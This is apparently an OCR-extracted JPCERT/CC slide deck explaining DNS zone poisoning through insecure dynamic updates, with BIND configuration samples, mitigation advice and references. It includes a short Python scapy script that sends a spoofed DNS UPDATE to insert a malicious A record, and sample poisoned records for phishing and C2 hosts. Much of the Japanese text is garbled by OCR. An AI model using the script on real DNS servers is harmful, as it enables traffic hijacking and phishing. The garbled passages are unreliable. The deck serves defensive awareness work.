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https://www.jpcert.or.jp/magazine/irreport-Unsecured_Databases.html
https://www.jpcert.or.jp/magazine/acreport-search-datper.html
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Zone Poisoning &Il ?

B DNSOEHEFT(DNS dynamic update) ' sFES =N TLYBDNS
H—)\OtF 1T KEMEICLDIUY —X L O— RDIEE

Zone
“example.jp.”{
allow-update{

Zone
“example.jp.”{
allow-update-

forwarding{
) }
ks
maliciousl.example.jp 60 IN A
I \ XXX.YYY.2aa.zzz
. — » :
example-J\p- EKERX example.jp.  malicious2.example.jp 60 IN A
AL—7 NAS— XXX.YYY.aaa.zzz

O
. updateE:K

WEA

NS
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Zone Poisoning @ IRYK
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— Zone Poisoning: The How and Where of Non-Secure DNS Dynamic Updates
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WETE

B RFC2136(C#EHLU fzupdateEk/\ T v hZEixD
J\ry (1)

Pythond— R(#l)

from scapy.all import *

from netaddr import IPNetwork

target ip="192.168.100.20" #H WES
source_ip="192.168.100.10" #H WETIP (ZFFROM)
zone="example.jp" # AR — B
rrtype="A" # L O—F30F
rrname="malicious.example.jp” ## [ 11— F3
rrdata="192.168.100.30" #t LI — FF—=
rrttl="60"

packet = (IP(dst=target ip,src=str( source ip ))/
UDP(dport=53)/
DNS (opcode=5, rd=0,
qd=DNSQR(gname=zone, qtype="S0A",),

ns=[DNSRR(type=rrtype,ttl=int(rrttl),

rrname=rrname,rdata=rrdata)]))

send(packet)
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Zone
“example.jp.”{
allow-update{

b
b
phishing.example.jp. 60 IN A xxx.yyy.aaa.zzz

example.jp. example.jp. 86400 IN MX mail.example.jp.
i AN mail.example.jp 86400 IN A xxx.yyy.aaa.zzz

c2.example.jp. 60 IN A xxx.yyy.aaa.zzz

updateE3k

O >
d-5-%&
JIRDT—R

phishing.example.jp example.jp

WEA
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HRENDXHR (Bindik)

B TSIGEXEDENE [H#EAZ]
— HEEEHEADIL N E

(51 : CVE-2017-3143, Bind9.xDTSIGERE & DRSS %)

[E28/\—=3 2]

- 9.11%51 : 9.11.0~9.11.1-P1
- 9.10%51 : 9.10.0~9.10.5-P1
- 9.9%50 : 9.9.0~9.9.10-P1

. LSS DTS : 9.4.0~9.8.8

m ACLFHITH
— UDPTEXETHFMINDE. WELEESRLN,
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BTN XHR (WindowsHi)

U1V CRESNTCENEFIDOHZFF0] I D
— Windows Server 2008, Windows Server 2008 R2

https://technet.microsoft.com/ja-jp/library/cc75

— Windows Server 2003

3751.aspx

https://support.microsoft.com/ja-jp/help/816592/how-to-configure-dns-

dynamic-updates-in-windows-server-2003

B Windows Server 2012LIF (SE(E T+

-1 U)o o REEN

(ADfie
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B Microsoft DNS : 3 #B#
— FFFa T REOENEFBIFT LU TCLE
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B Dynamic DNS D
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B BDORXAZHNDECRTT (&
$ dig researchdelft.[domain_name]
tani@ s~ .=:~% dig researchdelft.=srrka.-7 A
; <<>> D1G 9.6-ESV-R1 <<>> researchdelft. = ra.7% A
;3 global options: +cmd
;; Got answer:
;3 —>>HEADER<<- opcode: QUERY, status: NOERROR, 1d: 5008
;3 flags: gqr rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 2, ADDITIONAL: 2
R EBOREDRIFMNED

;3 QUESTION SECTION:
;researchdel ft.

IN

; ANSWER SECTION:

.
¥ 3

researchdelft.

86350 1IN
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— Email : pr@jpcert.or.jp
— Tel : 03-3518-4600
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— Email : icsr-ir@jpcert.or.ip
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0 PN MO PULETSETIETGENCY RS E

SPONSENEATINOOOIG



mailto:pr@jpcert.or.jp
mailto:info@jpcert.or.jp
mailto:icsr-ir@jpcert.or.jp

CaES DN ESITETNEXLUE

18 Copyright ©2017 JPCERT/CC All rights reserved. AR EnCOPUE R ETGENCYARESPONSENEaMMEOodinationiG



Ca B

B Zone Poisoning: The How and Where of Non-Secure DNS Dynamic
Updates

— Maciej Korczynski (Delft University of Technology)
— Michat Krdél (Université de Technologie de Compiegne)
— Michel van Eeten (Delft University of Technology)

B Dynamic Updates in the Domain Name System (DNS UPDATE),
Internet RFC 2136, April 1997

— P. Vixie, S. Thomson, Y. Rekhter, J. Bound
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